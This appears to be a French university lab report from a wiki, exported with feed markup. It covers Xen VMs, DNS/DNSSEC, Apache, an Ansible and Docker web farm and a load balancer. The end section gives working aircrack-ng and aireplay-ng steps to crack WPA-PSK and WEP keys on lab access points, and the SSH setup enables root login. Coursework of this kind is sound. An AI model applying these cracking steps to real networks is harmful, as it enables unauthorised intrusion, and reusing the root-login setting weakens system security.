On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51821</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51821"/>
				<updated>2019-12-16T17:06:00Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
